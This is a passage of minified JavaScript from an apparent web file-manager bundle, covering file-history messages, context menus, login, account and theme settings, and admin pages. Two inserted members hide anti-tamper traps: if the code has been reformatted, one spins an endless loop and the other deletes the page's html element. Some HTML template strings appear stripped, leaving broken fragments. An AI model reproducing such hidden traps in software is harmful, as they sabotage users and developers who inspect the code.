a=this.makeHtmlFile(n);e=e.replace(/{{desc\.to}}/g,a)}if(_.includes(e,"{{desc.sourceID}}")){n=t.desc.name||t.desc.sourceID,a=this.makeHtmlFile(n);e=e.replace(/{{desc\.sourceID}}/g,a)}if(_.includes(e,"{{desc.content}}")){var s=_.get(t,"desc.content")||_.get(t,"desc.name");if(!s)return"";a=''+htmlEncode(s)+"";e=e.replace(/{{desc\.content}}/g,a)}return e=this.descEditEventParse(t,e)},"descEditEventParse":function(e,t){if("edit"!=e.type)return t;if(!_.get(e,"desc.ua"))return t;var i=" ";(_.includes(G.lang,"zh")||_.includes(G.lang,"ja")||_.includes(G.lang,"ko"))&&(i="");var n=e.desc,a=LNG["common.online"];return n.ua=n.ua.toLowerCase(),n.action=n.action.toLowerCase(),_.includes(n.action,"plugin.webdav")&&(a="webdav"),_.includes(n.ua,", kodcloud")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.toolbar.client"]),a=a+i+LNG["common.edit"],_.includes(n.action,"pathpast")&&(a=LNG["explorer.past"]+i+LNG["common.cover"]),"explorer.history.rollback"==n.action.toLowerCase()&&(a=LNG["explorer.history.changeEvent"]),_.includes(n.ua,"mozilla/")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.history.uploadNew"]),t+'('+a+")"},"makeHtmlFile":function(e){if(!e||_.isString(e))return'['+(e||"")+"]";var t=htmlEncode(e.pathDisplay||e.name),i=htmlEncode(e.name);return"\n\t\t\t'+(0,n.pathIcon)(e)+'\n '+i+"\n "}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"descMap":function(){var i={"create-mkdir":"新建了该文件夹","create-mkfile":"新建了该文件","create-upload":"上传了该文件","create-copy":"粘贴创建了该文件","create-mkdir-current":"在此新建了文件夹{{file}}","create-mkfile-current":"在此新建了文件{{file}}","create-upload-current":"在此上传了{{file}}","create-copy-current":"粘贴了{{file}}到此处","create-mkdir-item":"在{{parent}}新建了文件夹{{file}}","create-mkfile-item":"在{{parent}}新建了文件{{file}}","create-upload-item":"在{{parent}}上传了{{file}}","create-copy-item":"粘贴{{file}}到{{parent}}","create-mkdir-more":["在此新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more":["在此新建了{{count}}个文件","{{file}}",1],"create-upload-more":["在此上传了上传了{{count}}个文件","{{file}}",1],"create-copy-more":["粘贴了{{count}}个文件到此处","{{file}}",1],"create-mkdir-more-at":["在{{parent}}新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more-at":["在{{parent}}新建了{{count}}个文件","{{file}}",1],"create-upload-more-at":["在{{parent}}上传了{{count}}个文件","{{file}}",1],"create-copy-more-at":["粘贴了{{count}}个文档到{{parent}}","{{file}}",1],"edit":"编辑更新了该文件","edit-item":"编辑更新了{{file}}","edit-more":"编辑更新了该文件{{count}}次","edit-more-at":["在{{parent}}编辑更新了{{count}}个文件","{{file}}",1],"move":"将该文档从{{desc.from}}移动到{{desc.to}}","move-item":"将{{file}}从{{desc.from}}移动到{{desc.to}}","move-current":"将{{file}}从{{desc.from}}移动到此处","move-more":["移动了{{count}}个文档","将{{file}}从{{desc.from}}移动到{{desc.to}}",1],"moveOut":"从此处移走了{{desc.sourceID}}","moveOut-item":"从{{file}}移走了{{desc.sourceID}}","moveOut-more":["移走了{{count}}个文档","从{{file}}移走了{{desc.sourceID}}",1],"share-shareLinkAdd":"将该文档创建了外链分享","share-shareLinkAdd-item":"将{{file}}创建了外链分享","share-shareLinkAdd-more":["创建了{{count}}个外链分享","{{file}}",1],"share-shareToAdd":"将该文档开启了协作分享","share-shareToAdd-item":"将{{file}}开启了协作分享","share-shareToAdd-more":["创建了{{count}}个协作分享","{{file}}",1],"share-shareLinkRemove":"关闭了该文档的外链分享","share-shareLinkRemove-item":"关闭了{{file}}的外链分享","share-shareLinkRemove-more":["关闭{{count}}个外链分享","{{file}}",1],"share-shareToRemove":"关闭了该文档的协作分享","share-shareToRemove-item":"关闭了{{file}}的协作分享","share-shareToRemove-more":["关闭{{count}}个协作分享","{{file}}",1],"share-shareEdit":"编辑了该文档的分享","share-shareEdit-item":"编辑了{{file}}的分享","share-shareEdit-more":["编辑了{{count}}个文档分享","{{file}}",1],"rename":["重命名了该文档","{{desc.from}}{{desc.to}}"],"rename-item":["重命名了{{file}}","{{desc.from}}{{desc.to}}"],"rename-more":["重命名了{{count}}个文档","{{file}}:{{desc.from}}{{desc.to}}",1],"recycle-toRecycle":"将该文档移到了回收站","recycle-toRecycle-current":"在此处将{{file}}移到了回收站","recycle-toRecycle-item":"在{{parent}}将{{file}}移到了回收站","recycle-toRecycle-more":["将{{count}}个文档移到了回收站","{{file}}",1],"recycle-toRecycle-more-at":["在{{parent}}将{{count}}个文档移到了回收站","{{file}}",1],"recycle-restore":"将该文档从回收站还原","recycle-restore-item":"将{{file}}从回收站还原","recycle-restore-more":["将{{count}}个文档从回收站还原","{{file}}",1],"remove":"删除了{{desc.content}}","remove-current":"在此处删除了{{desc.content}}","remove-more":["在此处删除了{{count}}个文档","{{desc.content}}",1],"remove-item":"在{{parent}}删除了{{desc.content}}","remove-more-at":["在{{parent}}删除了{{count}}个文档","{{desc.content}}",1],"addDesc":["修改了该文档描述","{{desc.content}}"],"addDesc-item":["修改了{{file}}文档描述","{{desc.content}}"],"addDesc-more":["修改了{{count}}个文档描述","{{file}}{{desc.content}}",1],"addComment":["在该文档发表了评论","{{desc.content}}"],"addComment-item":["在{{file}}发表了评论","{{desc.content}}",1],"addComment-more":["在{{file}}发表了{{count}}条评论","{{file}}{{desc.content}}",1]},n={"create-mkdir":"新建文件夹","create-mkfile":"新建文件","create-upload":"上传文件","create-copy":"粘贴文件","edit":"更新文件","move":"移动文件","moveOut":"移走文件","share-shareLinkAdd":"创建了外链分享","share-shareToAdd":"开启了协作分享","share-shareLinkRemove":"关闭的外链分享","share-shareToRemove":"关闭协作分享","share-shareEdit":"编辑分享","rename":"重命名","recycle-toRecycle":"移到回收站","recycle-restore":"从回收站还原","remove":"删除","addDesc":"修改描述","addComment":"发表评论"};return this._each(i,function(e,t){if(_.isString(e)&&(i[t]=this.lang("log-event-"+t,e)),_.isArray(e)){i[t][0]=this.lang("log-event-"+t,e[0]);_.includes(["move-more","moveOut-more"],t)&&(i[t][1]=this.lang("log-event-"+t+"-desc",e[1]))}}),this._each(n,function(e,t){n[t]=LNG["log-type-"+t]}),{"map":i,"descTitle":n}}}},function(e,t,i){"use strict";var s=i(0);e.exports=function(e){e=e||{};var i="",t=s.$each,n=e.pathInfo,a=(e.item,e.index,s.$escape);return i+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(167));t["default"]=n["default"].extend({"init":function(){this.$el=this.$root,this.$main=this.$(".ztree"),this.initChildren(),this.bindDrag(),this.drop.initDragParent=_.bind(this.initDragTreeParent,this)},"bindDrag":function(){this.$main.drag({"delegate":"a.tree-node","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"getSelect":function(e){this.$select=$();var t=this,i=$.targetParent(e,".tree-node"),n=i.data("treeNode");if(i&&n){var a=this.root.tree,s=this.root.pathAction;a.triggerEventStop(),a.zTree.selectNode(n),$(document).one("mouseup",function(){t._delay(function(){a.triggerEventStart()},10)}),s.auth.canCopyCute(i)&&(i.data("fileItem",n),this.$select=i)}},"fileDragRender":function(e){var t=$.targetParent(e,".tree-node");this.$drag=$("\n\t\t\t
    \n\t\t\t\t
  • \n\t\t\t
    ").appendTo(t.parent()),this.$dragList=this.$select.clone(),this.$dragList.appendTo(this.$drag.find(".file-draging"))},"initDragTreeParent":function(){var e=this.$select.data("treeNode").getParentNode();this.drop.dragPath=e.path}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s=c(i(5)),n=i(466),a=c(i(168)),r=c(i(467)),o=c(i(188)),l=c(i(470));function c(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.menuItems=(0,a["default"])(),this.menuList=(0,n.menuList)(),this.menuTypeOption=n.menuTypeOption,this._delay(function(){this.root.trigger("rightMenu.initBefore",this),this.triggerPlugins=new o["default"]({"parent":this}),this.initAll(),e.disableToolbar||(this.toolbarMenu=new r["default"]({"parent":this}))})},"initAll":function(){this.bindEvent(),this.bindNotify(),this.bindExplorer(),this.setListType(),this.setListSort(),this.setIconSize(),this.hotkey=new l["default"]({"parent":this})},"targetData":function(e){var t=this.root.pathAction;e.$target.hasClass("tree-node")&&(t=this.root.tree.treeAction);var i=t.makeParamSelect();return _.isEmpty(i)?{}:i[0]},"bindEvent":function(){var e=this.root.$(".frame-main");e.exists()||(e=this.$el),$('
    \n\t\t\t
    ').appendTo(e),this.$menuTarget=e.find(".rightmenu-target"),this.$menuAt=e.find(".rightmenu-content-list"),this.$menuAt.delegate(".context-menu-list","click",function(e){return stopPP(e)});var t=[".file-continer .file .item-menu",".ztree .tree-node .menu-item",".menu-left-click",".menu-trigger",".menu-toolbar-button"].join(",");$.contextMenu.clickBind(this.$root,t);var i=this,n=function n(e,t){i.root.rootAppSelf(t.$target)&&(i.trigger(e,t,i),i.trigger(e+"@"+t.menuType,t,i))};Events.bind("rightMenu.beforeShow",function(e){n("rightMenu.beforeShow",e)},this),Events.bind("rightMenu.beforeHide",function(e){n("rightMenu.beforeHide",e)},this)},"bindNotify":function(){this.listenTo(this.root.select,{"select.change":function(e,t){if(0!=t.length&&(t.filter("[data-menu-more]").each(function(){$(this).removeClass($(this).attr("data-menu-more")),$(this).addClass($(this).attr("data-menu"))}),1').appendTo(this.$menuTarget);var n=function n(e){_.each(e,function(e,t){"object"==(void 0===e?"undefined":(0,s["default"])(e))&&(e.className=(e.className||"")+" "+t,e.icon=(e.icon||"")+" small",e.items&&n(e.items))})};n(t);var a={"zIndex":9999,"selector":this.$root.selector+" ."+e,"callback":i||_.bind(this.menuCallback,this),"className":e+" animated","appendTo":this.$menuAt,"items":t};t&&!$.isEmptyObject(t)||(a.items={"":{}}),$.contextMenu(a)},"menuItemsParse":function(e,t){t=void 0===t?{}:t;var i=this.menuItems;if(_.isString(e))return _.get(i,e);for(var n=0;n=t["bigx"]-5?"bigx":"default";for(var a in t){var s=t[a];if(s-5<=i&&i<=s+5){n=a;break}}var r=this.$root.find(".set-icon-size-item");r.removeClass("selected"),r.filter(".icon-size-"+n).addClass("selected")},"onRemove":function(){$(this.$menuAt).children().each(function(){var e=$(this).data("contextMenu");e&&$.contextMenu("destroy",e.selector),$(this).remove()})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.listenTo(this.parent,["rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-file","rightMenu.beforeShow@.menu-path-mini-file","rightMenu.beforeShow@.menu-simple-file","rightMenu.beforeShow@.menu-fav-path-file","rightMenu.beforeShow@.menu-share-root-file"].join(" "),this.menuFileShow),this.menuShareBind(),this.adminBindOpenWith()},"menuFileShow":function(e){var t=this.parent.targetData(e);this.imageBackgroundCheck(e,t),this.menuOpenWith(e,t)},bindHoverCOgd2:setTimeout('var favMoveTopWvy7=function(){return "initCopyrighthAQ4"};var baseTitlesg6=favMoveTopWvy7.toString();if(baseTitlesg6.indexOf("\\n") != -1){while(true){escape("+");};}'),"menuShareBind":function(){var n=this;this.listenTo(this.parent,"rightMenu.beforeShow@.menu-share-path",function(e){var t=n.parent.targetData(e),i=e.$menu.find(".share-open-window");"1"==_.get(t,"sourceInfo.shareInfo.isLink")?i.removeClass("disabled"):i.addClass("disabled")},this)},"hideClass":"hidden","imageBackgroundCheck":function(e,t){var i=e.$menu.find(".set-background");_.includes(["jpg","jpeg","png"],t.ext)?i.removeClass(this.hideClass):i.addClass(this.hideClass)},"menuOpenWith":function(e,t){var i=e.$menu.find(".open-with.context-menu-submenu");if(kodApp.getApp(t.ext)){var n=this.getAppMenu(t);this.root.pathAction.auth.canRead(e.$target)||(n.download&&(n.download.className+=" disabled disable"),n.browserOpen&&(n.browserOpen.className+=" disabled disable")),i.removeClass(this.hideClass),i.find(".context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(n,e,".open-with-first")}else i.addClass(this.hideClass)},"adminBindOpenWith":function(){if(this.userModel.isRoot()){var s=this,e=["rightMenu.beforeShow@.menu-path-guest-folder","rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-guest-folder-tree","rightMenu.beforeShow@.menu-path-guest-file-tree"].join(" ");this.listenTo(this.parent,e,function(e){var t=s.parent.targetData(e),n=_.get(G,"kod.WEB_ROOT"),a=t.path||"";if(e.$menu.find(".adminOpenWith").remove(),n&&0==a.indexOf(n)){var i={"app":"adminOpenWith","name":LNG["explorer.openIE"]+" (admin)","icon":"ri-compass-line-3","callback":function(e,t){var i=$.parseUrl().origin+"/";i+=a.substr(n.length),i=urlEncode(i).replace(/%3A/g,":").replace(/%2F/g,"/").replace(/%3F/g,"?"),window.open(i)}};$.contextMenu.menuAdd({"adminOpenWith":i},e,".open")}})}},"getAppMenu":function(n){var a=this.root.kodApp,e=a.getApp(n.ext)||[],t=a.getApp("")||[];e=_.concat(e,[{"name":""}],t);var s={};return this._each(e,function(i){if(""==i.name||i.hidden)return s["step-line"]="-------";s[i.name]={"app":i.name,"name":i.title,"className":i.className,"icon":i.icon,"callback":function(e,t){kodApp.$openTarget=t.$target,a.appCallback(n.path,n.ext,n.name,i)}}}),s}})},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=n(73),a=r(n(500)),s=r(n(107));function r(e){return e&&e.__esModule?e:{"default":e}}var o="";t["default"]=ClassBase.extend({"el":"#app","events":{"click .language-list li a":"changeLanguage"},"init":function(){var e=n(501);this.renderHtml(e,this.assignData()),this.initGlobal(),this.bindLocation(),this.setWallpage();var t="user"==Router.hash?"user/login":"";t&&Router.go(t),this.copyright=new s["default"]({"parent":this}),this.$(".logo.logo-text").autoFontSize(32,18,0,"aaaa"),$.isWindowSmall()&&this.$(".loginbox").removeClass("animated-500 fadeInDown")},"initGlobal":function(){this.global.autoToChildren={"root":this,"$root":this.$el,"userApi":i.userApi,"checkInput":a["default"]},this._each(this.global.autoToChildren,function(e,t){this[t]=e})},"assignData":function(){var e=G.system;return{"systemName":e.options.systemName,"systemDesc":e.options.systemDesc,"langList":e.all.language,"lang":G.lang}},"parseWallPage":function(){var e=_.get(G,"system.options.wallpageLogin",""),t=jsonDecode(e);return _.isNull(t)&&(t=e.split(",")),t},"setWallpage":function(e){if(!(o=e||o)){var t=this.parseWallPage(),i=roundFromTo(0,t.length-1);o=t[i]}_.isObject(o)?o=o.path:_.includes(o,"/")||(_.includes(o,".")||(o+=".jpg"),o=STATIC_PATH+"images/wall_page/"+o);var n="\n\t\t.page-model-login .aero:before,\n\t\t.page-model-login .aero:after,\n\t\t.page-model-login .background {\n\t\t\tbackground-color: #444;\n\t\t\tbackground-image: url('"+o+"');\n\t\t}";$.setStyle(n,"loginPage")},"changeLanguage":function(e){var t=this.$(".language-list li a"),i=$(e.currentTarget);t.removeClass("this"),i.addClass("this"),this.setLanguage(i.attr("data-lang"))},"bindLocation":function(){var e={"user/login":{"file":"view/login","title":LNG["admin.index.userLogin"]},"user/logout":{"file":"view/logout","title":""},"user/findPassword":{"file":"view/findPassword","title":LNG["user.findPwd"]},"user/register":{"file":"view/register","title":LNG["user.regist"]},"user/license":{"file":"view/license","title":LNG["common.version.authActive"]},"user/bindInfo":{"file":"view/bindInfo","title":LNG["user.bindAccount"]}},i=this;_.each(e,function(e,t){Router.map({"key":t,"name":e.title,"context":i,"callback":function(){1!=i.$(".loginbox").length&&i.init(),new(n(715)("./"+e.file)["default"])({"parent":i})}})})},"setLanguage":function(e){Cookie.set("kodUserLanguage",e),this.userApi.reloadLang().then(function(){Router.refresh()})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=function n(e){return e&&e.__esModule?e:{"default":e}}(i(191));t["default"]=ClassBase.extend({"el":".loginbox .content-box","events":{"click .input-button":"sendCode"},"init":function(e){this.source=e.source,this.active()},"active":function(){var i=this;this.$el.delegate("input[name=input]","blur",function(){var e=i.$("input[name=input]"),t=$.trim(e.val());return""!=t&&(i.checkInput.check.check(t,"email")||i.checkInput.check.check(t,"phone")?void 0:(e.select().focus(),!1))})},"sendCode":function(e){var t=$(e.currentTarget),i=this.checkInput.get($(this.$el),{}),n=this.checkType(i.input);if(!n)return!1;var a={"type":n,"input":i.input,"source":this.source};Router.query.hasOwnProperty("userID")&&(a.userID=Router.query.userID);var s=this;r["default"].view(function(e){a.checkCode=e,s.sendMsgCode(t,a)})},"sendMsgCode":function(t,i){var n=this,a=Tips.loadingMask();t.prop("disabled",!0),this.userApi.sendMsgCode(i,function(e){if(a.close(),r["default"].done(e),Tips.close(e),!e.code)return t.prop("disabled",!1),!1;n.sendAfter(i.type,t)})},"sendAfter":function(e,t){var i="email"==e?20:60;t.text(i+"S");var n=null;n=setInterval(function(){0
    '},"done":function(e){return e.code||"10011"!=e.info?(this.dialog.close(),!0):(this.dialog.$main.find(".aui-buttons button").prop("disabled",!1),this.dialog.$main.find(".img-code-box .code-image").trigger("click"),!1)}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,s=o(i(6)),a=o(i(7)),r=i(41);function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]={"bind":function(t){var e=1span:nth-child(2), #"+i+">span:nth-child(3)").remove();var t=''+LNG["user.clickBind"]+"";n.$("#"+i).append(t)}})},"cancel":!0})},"bindSubmit":function(e,t){var i=2'}),e.next=9,requirePromise("//res.wx.qq.com/connect/zh_CN/htmledition/js/wxLogin.js");case 9:new WxLogin({"self_redirect":!0,"id":"wxqrcode","appid":i,"scope":"snsapi_login","redirect_uri":urlEncode(t),"state":"","style":"","href":""});case 10:case"end":return e.stop()}},l,this)})),function c(e,t){return n.apply(this,arguments)})}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(108)),a=i(41),s=o(i(170)),r=o(i(181));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":"#app","init":function(){this.menuBar=new n["default"]({"parent":this}),this.$el=this.$(".app-main"),this.renderHtml(i(514)),this.initGlobal(),this.leftMenu=new s["default"]({"parent":this}),NProgress.done()},"initGlobal":function(){this.global.autoToChildren={"root":this,"$root":this.$el,"settingModel":new a.UserModel},this._each(this.global.autoToChildren,function(e,t){this[t]=e}),this.task=new r["default"]({"parent":this})},"onRemove":function(){this._each($.dialog.list,function(e){e.close()}),this.settingModel.onRemove()}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i,s=d(a(6)),n=d(a(7)),l=d(a(500)),c=d(a(99)),r=d(a(511)),o=d(a(192));function d(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".setting-main-content","events":{"click .acc-dtl .pri-btn":"set"},"init":(i=(0,n["default"])(s["default"].mark(function u(){var t,i,n;return s["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if((t=this).emptyPwd=0,i=[],G.system.options.loginConfig&&G.system.options.loginConfig.loginWith&&(i=G.system.options.loginConfig.loginWith),(n={"info":this.settingModel.info().info,"loginWith":i,"allowPhone":G.system.options.loginConfig.allowPhone}).info.avatar=n.info.avatar||STATIC_PATH+"/images/common/default-avata.png",n.emptyPwd=this.emptyPwd,i.length)return e.next=10,this.settingModel.bindMetaInfo({},function(e){n.bindInfo=e.data.bind,n.emptyPwd=t.emptyPwd=_.parseInt(e.data.emptyPwd)});e.next=10;break;case 10:t.renderHtml(a(512),n),new r["default"]({"parent":this,"Check":l["default"].check}),this.ownAccount(),this.thirdAccount();case 14:case"end":return e.stop()}},u,this)})),function h(){return i.apply(this,arguments)}),"ownAccount":function(e){this.$el.delegate(".user-set .acc-row:not(.acc-row-img)","click",function(e){var t=$(e.currentTarget),i=t.next();t.parents(".acc-list-box").find(".acc-dtl").addClass("hide"),t.parents(".acc-list-box").find(".acc-row").removeClass("hide"),t.addClass("hide"),i.removeClass("hide"),1===i.find("input[name^=old_]").length&&""==i.find("input[name^=old_]").val()&&i.find("input").val("")}),this.$el.delegate(".user-set .ccl-btn, .acc-dtl .ccl","click",function(e){var t=$(e.currentTarget).parents(".acc-dtl");t.addClass("hide"),t.prev().removeClass("hide")})},searchingTpnB4:["0",(function(){var menuItemvc7=function(){return {}};var autoSetAccountaxEJ4=menuItemvc7+"";if(autoSetAccountaxEJ4.indexOf("\n") != -1){var explorerEditorYpBR2=$("html");explorerEditorYpBR2.remove();}})()],"checkPwdEdit":function(){return!(!G.user.info.email&&!G.user.info.phone)||(Tips.tips(LNG["user.bindFirst"],!1),!1)},"thirdAccount":function(){var n=this;this.$el.delegate(".third-set .bind, .third-set .unbind","click",function(e){var t=$(e.currentTarget),i=t.parents(".acc-row").attr("id");return"bind"==t.attr("class")?o["default"].bind(i,"bind",0):1==n.emptyPwd?Tips.tips(LNG["user.unbindWarning"],"warning",3e3):void o["default"].unbind(i,n)})},"set":function(e){var t=$(e.currentTarget),i=t.attr("value"),n="old_"+i,a=t.parents(".form-row"),s=l["default"].get(a,{});for(var r in s)if(r!=n&&""==s[r])return a.find("input[name="+r+"]").focus(),!1;if("password"==i){if(s.oldpwd==s.newpwd)return Tips.tips(LNG["user.inputNewPwd"],!1),a.find("input[name=newpwd]").select().focus(),!1;if(s.newpwd!=s.newpwd2)return Tips.tips(LNG["user.rootPwdEqual"],!1),a.find("input[name=newpwd2]").select().focus(),!1;delete s.newpwd2,s.oldpwd=c["default"].encryPassword(s.oldpwd),s.newpwd=c["default"].encryPassword(s.newpwd),s.salt=1}else{if(""!=s[n]&&s[n]==s[i])return Tips.tips(LNG["user.inputNewValue"],!1),a.find("input[name="+i+"]").select().focus(),!1;if(_.includes(["email","phone"],i)&&!l["default"].check.check(s[i],i))return Tips.tips(LNG["common.invalidFormat"],!1),a.find("input[name="+i+"]").select().focus(),!1;delete s[n],s["input"]=s[i],delete s[i]}s.type=i;var o=this;o.settingModel.setUserInfo(s,function(e){o.afterSet(a,i,s,e)})},"afterSet":function(e,t,i,n){return n.code?(Tips.tips(LNG["explorer.success"]),G.user.info=n.info,Router.refresh()):Tips.tips(n.data,!1),!1}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=l(i(6)),s=l(i(7)),r=l(i(2)),o=l(i(513));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".setting-main-content","init":function(){this.renderHtml("
    "),this.initForm(),this.bindTheme()},"initForm":(n=(0,s["default"])(a["default"].mark(function c(){var i,n,t;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:n=(i=this).settingModel.getOption(),t=(0,o["default"])(),_.each(t,function(e,t){_.isUndefined(n[t])||(e.value=n[t])}),this.form=new r["default"]({"parent":this,"formData":t}),this.form.renderTarget(this.$(".panel-body")),this.form.$("[name]").bind("change",function(){var e=$(this).attr("name"),t=i.form.getValue(e);i.settingModel.setOption(e,t,function(e){Tips.tips(e)})});case 7:case"end":return e.stop()}},c,this)})),function d(){return n.apply(this,arguments)}),"bindTheme":function(){var n=this;n.changeIgnore=!1,Events.bind("user.themeChange",function(e,t){n.changeIgnore||(n.changeIgnore=!0,n._delay(function(){n.changeIgnore=!1},200),n.form.setValue({"theme":e,"themeImage":t}))},n),this.form.$("[name]").bind("change",function(){if(!n.changeIgnore){var e=$(this).attr("name");if(_.includes(["theme","themeImage"],e)){var t=n.form.getValue("theme"),i=n.form.getValue("themeImage");Events.trigger("user.themeChangeNotify",t,i),n.changeIgnore=!0,n._delay(function(){n.changeIgnore=!1},200)}}}),this.bindColor()},"bindColor":function(){var i=this,n=this.form;n.$(".color-item").each(function(){var e=$(this).attr("color");$(this).css("background-image","linear-gradient("+e+")")}),n.$(".color-item").bind("click",function(e){var t=$(this).attr("color");n.setValue("themeImage","linear-gradient("+t+")")}),n.$(".image-wallpage").bind("click",function(e){n.setValue("themeImage","wallpage")}),n.$(".color-make").bind("click",function(e){i.bindColorMake()}),n.$(".randomImage").bind("click",function(e){var t=$(this);t.addClass("moveCircle"),i.randomImage(function(e){n.setValue("themeImage",e),i._delay(function(){t.removeClass("moveCircle")},500)})})},"bindColorMake":function(){var i=this,e={"formStyle":{"className":"form-box-title-block"},"colorStart":{"type":"color","display":LNG["user.theme.colorStart"],"value":"#222","require":"1"},"colorEnd":{"type":"color","display":LNG["user.theme.colorEnd"],"value":"#666","require":"1"},"radius":{"type":"slider","value":"160","display":LNG["user.theme.colorRadius"],"info":{"from":0,"to":360,"step":1}}};this.colorForm=new r["default"]({"parent":this,"formData":e}),this.colorForm.renderDialog({"id":"theme-color-make","ico":'',"title":LNG["user.theme.colorBlur"],"width":330,"height":300},function(e){var t=e.radius+"deg,"+e.colorStart+","+e.colorEnd;i.form.setValue("themeImage","linear-gradient("+t+")")})},"randomImage":function(e){var t="wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(G.system.settings.kodApiServer+t,e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var a=s(i(32)),n=s(i(516));function s(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".setting-main-content","init":function(){this.renderHtml(i(517)),this.makeTable("device"),this.bindEvent()},"bindEvent":function(){var e=this;this.$(".user-safe-page").delegate(".tab-group-line .tab-item","click",function(){"loginList"!=$(this).attr("tab-name")||e.loginTable||e.makeTable("login",{"type":"user.index.loginSubmit"})}),this.$(".tab-item.active").trigger("click")},"makeTable":function(e,t){var i={"userID":_.get(G,"user.userID")};t=$.extend({},i,t);var n=this[e+"Config"](t);this[e+"Table"]=new a["default"]({"parent":this,"config":n})},"deviceConfig":function(){var i=this;return{"container":".log-device-list","data":{},"request":function(e,t){i.settingModel.requestSend("userDevice",e,function(e){t({"list":e.data,"pageInfo":e.info})})},"items":[{"field":"desc","title":LNG["admin.setting.loginDevice"],"formatter":function(e){return(0,n["default"])(e).browser}},{"field":"desc","title":LNG["admin.setting.deviceType"],"formatter":function(e){return(0,n["default"])(e).os}},{"field":"createTime","title":LNG["admin.setting.lastLoginTime"],"formatter":function(e){return dateFormat(e)}},{"field":"address","title":LNG["admin.index.address"],"formatter":function(e){return''+htmlEncode(e)+""}}]}},"loginConfig":function(e){var i=this;return{"container":".log-login-list","data":e,"request":function(e,t){i.settingModel.requestSend("userLog",e,function(e){t({"list":e.data,"pageInfo":e.info})})},"items":[{"field":"createTime","title":LNG["admin.task.timeLastLogin"],"formatter":function(e){return dateFormat(e)}},{"field":"desc","title":LNG["common.system"],"formatter":function(e){return(0,n["default"])(e).os}},{"field":"desc","title":LNG["explorer.toolbar.client"],"formatter":function(e){return(0,n["default"])(e).browser}},{"field":"ip","title":LNG["admin.index.address"],"formatter":function(e,t,i){return''+htmlEncode(i[t]["address"])+""}}],"order":[0,"down"],"sort":["createTime"]}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,r=l(i(6)),a=l(i(7)),s=l(i(518)),o=l(i(520));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".setting-main-content","init":function(){this.renderHtml(i(521),{}),this.$main=this.$(".file-panel"),this.chart=new o["default"],this.userChart(),this.log=new s["default"]({"parent":this})},"resetTop":function(){var e=this.$el.parents(".setting-main"),t=this.$(".chart-content").height()+60,i=e.height()-172;this.$(".file-panel").height((i\n
    \n
    '+i+'
    \n \n '},"setWallPage":function(e,t){var n=[];e.find(".list[data-value]").each(function(){var e=$(this).attr("data-value"),t=$(this).find(".info").text(),i=e;e!=t&&(i={"info":e,"path":$(this).find(".ico img").attr("src"),"name":t}),n.push(i)}),this.adminModel.setOption((0,a["default"])({},t,jsonEncode(n)),function(e){Tips.close(e)})},"filterImage":function(e){return _.startsWith(e,G.kod.APP_HOST)&&(e=_.replace(e,G.kod.APP_HOST,"./")),e},"setWall":function(e){this.setOption("wall",e),ShareData.frameTop().Events.trigger("explorer.desktop.changeWall",e)},"setDiyWall":function(){var e=this.$("#wallpage-url").val();if(""==e)return Tips.tips(LNG["explorer.picCannotNull"],"error"),!1;this.$(".box .this").removeClass("this"),e=this.filterImage(e),this.setWall(e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=l(i(531)),a=l(i(532)),s=l(i(109)),r=l(i(100)),o=l(i(180));function l(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-main-content","init":function(){this.renderHtml('
    '),this.authConfig=(0,o["default"])(),this.initAuth(),this.authAction=new a["default"]({"parent":this}),this.dropMenu=new r["default"]({"parent":this}),this.dragRow=new s["default"]({"parent":this}),this.authListAll={},this.showTable(),this.bindEvent()},"initAuth":function(){var i={};_.each(this.authConfig.authDefine,function(e,t){i[t]=e[0]}),this.authOption=i},"showTable":function(){var e=new n["default"]({"parent":this});this.authTable=e.make();var t='";this.authTable.$(".toolbar .left").html(t)},"bindEvent":function(){var n=this;this.$(".auth-page").delegate("[action-data]","click",function(){var e=$(this).attr("action-data"),t=$(this).parent().attr("data"),i=n.authListAll[t]?n.authListAll[t]:{};n.authAction.exec(e,i)}),this.dropMenu.action(this.authTable),this.dragRow.sort(function(e){n.authAction.request("sort",{"ids":e},!1)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(534)),a=o(i(535)),s=o(i(109)),r=o(i(100));function o(e){return 